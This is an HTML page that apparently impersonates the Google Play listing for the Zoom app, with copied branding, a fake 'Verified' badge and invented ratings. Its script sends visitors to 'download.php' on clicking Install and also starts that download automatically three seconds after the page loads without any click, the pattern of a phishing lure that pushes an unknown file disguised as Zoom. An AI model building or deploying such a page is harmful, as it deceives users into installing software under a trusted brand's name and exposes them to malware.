<!DOCTYPE html> 
<html lang="en">
<head>
  <meta charset="UTF-8" />
  <meta name="viewport" content="width=device-width, initial-scale=1" />
  <title>Zoom - Google Play Mockup</title>
  <style>
    /* ... same CSS as before ... */
    * {
      box-sizing: border-box;
    }
    body {
      margin: 0;
      font-family: Roboto, Arial, sans-serif;
      background: #fff;
      color: #202124;
      -webkit-font-smoothing: antialiased;
      -moz-osx-font-smoothing: grayscale;
      transition: background-color 0.3s, color 0.3s;
    }
    a {
      color: #1a73e8;
      text-decoration: none;
    }
    a:hover {
      text-decoration: underline;
    }
    body.dark {
      background: #202124;
      color: #e8eaed;
    }
    body.dark a {
      color: #8ab4f8;
    }

    main {
      max-width: 960px;
      margin: 1rem auto 3rem;
      padding: 0 1rem;
    }

    header {
      display: flex;
      align-items: center;
      gap: 1rem;
      margin-bottom: 1rem;
      flex-wrap: nowrap;
    }
    .app-icon {
      width: 96px;
      height: 96px;
      border-radius: 20%;
      box-shadow: 0 4px 12px rgba(0,0,0,0.12);
      flex-shrink: 0;
      background: #fff;
      transition: background-color 0.3s, box-shadow 0.3s;
    }
    body.dark .app-icon {
      background: #3c4043;
      box-shadow: 0 4px 12px rgba(255 255 255 / 0.12);
    }
    .app-icon img {
      width: 100%;
      height: 100%;
      border-radius: inherit;
      object-fit: cover;
      display: block;
    }
    .app-info {
      flex: 1;
      min-width: 180px;
    }
    .app-title {
      font-size: 1.75rem;
      font-weight: 700;
      margin: 0 0 0.25rem 0;
      line-height: 1.2;
      color: #202124;
      transition: color 0.3s;
    }
    body.dark .app-title {
      color: #e8eaed;
    }
    .developer {
      font-weight: 500;
      color: #5f6368;
      font-size: 0.875rem;
      display: flex;
      align-items: center;
      gap: 0.5rem;
      transition: color 0.3s;
    }
    body.dark .developer {
      color: #bbb;
    }
    .verified-badge {
      background-color: #0f9d58;
      color: white;
      font-size: 0.7rem;
      font-weight: 700;
      padding: 0.1rem 0.4rem;
      border-radius: 12px;
      text-transform: uppercase;
      letter-spacing: 0.05em;
    }

    .rating {
      margin-top: 0.4rem;
      display: flex;
      align-items: center;
      gap: 0.4rem;
      font-size: 0.875rem;
      color: #3c4043;
      transition: color 0.3s;
    }
    body.dark .rating {
      color: #ddd;
    }
    .stars {
      display: flex;
      gap: 2px;
    }
    .stars svg {
      width: 18px;
      height: 18px;
      fill: #fbbc04;
    }
    .rating-num {
      color: #5f6368;
      transition: color 0.3s;
    }
    body.dark .rating-num {
      color: #bbb;
    }

    .meta-info {
      margin-top: 0.25rem;
      font-size: 0.8rem;
      color: #5f6368;
      transition: color 0.3s;
    }
    body.dark .meta-info {
      color: #bbb;
    }

    .install-btn {
      background-color: #0f9d58;
      color: white;
      font-weight: 600;
      font-size: 1rem;
      border: none;
      padding: 12px 36px;
      border-radius: 8px;
      cursor: pointer;
      box-shadow: 0 3px 6px rgb(15 157 88 / 0.4);
      transition: background-color 0.3s ease, box-shadow 0.3s ease;
      user-select: none;
      margin-top: 1rem;
      flex-shrink: 0;
      display: inline-flex;
      align-items: center;
      gap: 10px;
      width: fit-content;
    }
    .install-btn:hover:not(:disabled) {
      background-color: #0b7d44;
      box-shadow: 0 5px 10px rgb(11 125 68 / 0.6);
    }
    .install-btn:disabled {
      opacity: 0.7;
      cursor: not-allowed;
    }
    body.dark .install-btn {
      box-shadow: 0 3px 6px rgb(15 157 88 / 0.7);
    }
    body.dark .install-btn:hover:not(:disabled) {
      background-color: #0b7d44;
      box-shadow: 0 5px 10px rgb(11 125 68 / 0.8);
    }

    /* Simple spinner style */
    .spinner {
      border: 3px solid rgba(255, 255, 255, 0.3);
      border-top: 3px solid white;
      border-radius: 50%;
      width: 18px;
      height: 18px;
      animation: spin 1s linear infinite;
      display: none;
    }
    @keyframes spin {
      0% { transform: rotate(0deg);}
      100% { transform: rotate(360deg);}
    }

    .screenshots {
      margin-top: 2rem;
      overflow-x: auto;
      display: flex;
      gap: 1rem;
      padding-bottom: 0.5rem;
      -webkit-overflow-scrolling: touch;
      scrollbar-width: none;
    }
    .screenshots::-webkit-scrollbar {
      display: none;
    }
    .screenshots img {
      height: 400px;
      border-radius: 12px;
      box-shadow: 0 8px 20px rgba(0,0,0,0.12);
      flex-shrink: 0;
      user-select: none;
      cursor: pointer;
      transition: transform 0.3s ease;
      object-fit: cover;
    }
    .screenshots img:hover {
      transform: scale(1.05);
    }

    .description {
      margin-top: 2rem;
      font-size: 1rem;
      line-height: 1.5;
      color: #3c4043;
      max-width: 680px;
      user-select: text;
      transition: color 0.3s;
    }
    body.dark .description {
      color: #ddd;
    }
    .description h2 {
      font-size: 1.25rem;
      font-weight: 700;
      margin-bottom: 0.5rem;
      color: #202124;
      transition: color 0.3s;
    }
    body.dark .description h2 {
      color: #e8eaed;
    }
    .read-more {
      color: #1a73e8;
      cursor: pointer;
      font-weight: 600;
      user-select: none;
      margin-top: 0.5rem;
      display: inline-block;
    }
    body.dark .read-more {
      color: #8ab4f8;
    }

    @media (max-width: 720px) {
      header {
        flex-wrap: nowrap;
      }
      .screenshots img {
        height: 280px;
      }
      main {
        margin: 1rem 0.5rem 2rem;
      }
      .install-btn {
        margin: 1rem 0 0 0;
        width: 100%;
        justify-content: center;
      }
    }
  </style>
</head>
<body>
  <main>
    <header>
      <div style="display:flex; align-items:center; gap:1rem; flex-wrap:nowrap; flex:1;">
        <div class="app-icon">
          <img src="./files/zoom-icon.webp" alt="Zoom App Icon" />
        </div>
        <div class="app-info">
          <h1 class="app-title">Zoom</h1>
          <div class="developer">
            Zoom Video Communications, Inc.
            <span class="verified-badge">Verified</span>
          </div>
          <div class="rating" aria-label="Rated 4.1 out of 5 stars">
            <div class="stars" aria-hidden="true">
              <svg viewBox="0 0 24 24"><path d="M12 17.27L18.18 21 16.54 13.97 22 9.24l-7.19-.62L12 2 9.19 8.62 2 9.24l5.46 4.73L5.82 21z"/></svg>
              <svg viewBox="0 0 24 24"><path d="M12 17.27L18.18 21 16.54 13.97 22 9.24l-7.19-.62L12 2 9.19 8.62 2 9.24l5.46 4.73L5.82 21z"/></svg>
              <svg viewBox="0 0 24 24"><path d="M12 17.27L18.18 21 16.54 13.97 22 9.24l-7.19-.62L12 2 9.19 8.62 2 9.24l5.46 4.73L5.82 21z"/></svg>
              <svg viewBox="0 0 24 24"><path d="M12 17.27L18.18 21 16.54 13.97 22 9.24l-7.19-.62L12 2 9.19 8.62 2 9.24l5.46 4.73L5.82 21z"/></svg>
              <svg viewBox="0 0 24 24"><defs><linearGradient id="halfGrad"><stop offset="50%" stop-color="#fbbc04"/><stop offset="50%" stop-color="#e0e0e0"/></linearGradient></defs><path fill="url(#halfGrad)" d="M12 17.27L18.18 21 16.54 13.97 22 9.24l-7.19-.62L12 2 9.19 8.62 2 9.24l5.46 4.73L5.82 21z"/></svg>
            </div>
            <span class="rating-num">(1,234,567)</span>
          </div>
          <div class="meta-info">Communication • 97 MB</div>
        </div>
      </div>
    </header>

    <button class="install-btn" id="installBtn" aria-live="polite" aria-label="Install Zoom app">
      <span class="spinner" id="spinner"></span>
      <span class="btn-text">Install</span>
    </button>

    <section class="screenshots" aria-label="App screenshots">
      <img src="./files/sc1.webp" alt="Screenshot 1" />
      <img src="./files/sc2.webp" alt="Screenshot 2" />
      <img src="./files/sc3.webp" alt="Screenshot 3" />
      <img src="./files/sc4.webp" alt="Screenshot 4" />
    </section>

    <section class="description">
      <h2>About this app</h2>
      <p>
        Zoom is #1 in customer satisfaction and the best meeting experience on mobile.
        It's super easy! Install the free Zoom app, click on "New Meeting," and invite up to 100 people to join you on video!
        Connect with anyone on Android based phones and tablets, other mobile devices, Windows, Mac, Zoom Rooms, H.323/SIP room systems, and telephones.
      </p>
      <p>
        Zoom offers a reliable cloud platform for video and audio conferencing, collaboration, chat, and webinars across mobile devices, desktops, telephones, and room systems.
      </p>
      <span class="read-more" role="button" tabindex="0" onclick="toggleDescription()">Read more</span>
    </section>
  </main>

  <script>
    const readMoreBtn = document.querySelector('.read-more');
    const description = document.querySelector('.description p:nth-of-type(2)');

    function toggleDescription() {
      if(description.style.display === 'none' || description.style.display === '') {
        description.style.display = 'block';
        readMoreBtn.textContent = 'Read less';
      } else {
        description.style.display = 'none';
        readMoreBtn.textContent = 'Read more';
      }
    }
    description.style.display = 'none';

    document.addEventListener('DOMContentLoaded', () => {
      const prefersDark = window.matchMedia('(prefers-color-scheme: dark)').matches;
      if(prefersDark) {
        document.body.classList.add('dark');
      } else {
        document.body.classList.remove('dark');
      }

      window.matchMedia('(prefers-color-scheme: dark)').addEventListener('change', e => {
        if(e.matches) {
          document.body.classList.add('dark');
        } else {
          document.body.classList.remove('dark');
        }
      });

      const installBtn = document.getElementById('installBtn');
      const spinner = document.getElementById('spinner');
      const btnText = installBtn.querySelector('.btn-text');

      let userClicked = false;
      let autoClickTimeout;

      function startDownload() {
        installBtn.disabled = true;
        spinner.style.display = 'inline-block';
        btnText.textContent = 'Starting download...';
        window.location.href = 'download.php';

        setTimeout(() => {
          installBtn.disabled = false;
          spinner.style.display = 'none';
          btnText.textContent = 'Install';
        }, 15000);
      }

      installBtn.addEventListener('click', () => {
        if (userClicked) return; // prevent multiple clicks
        userClicked = true;
        clearTimeout(autoClickTimeout);
        startDownload();
      });

      // Auto click the button after 3 seconds if not clicked
      autoClickTimeout = setTimeout(() => {
        if (!userClicked) {
          userClicked = true;
          startDownload();
        }
      }, 3000);
    });
  </script>
</body>
</html>
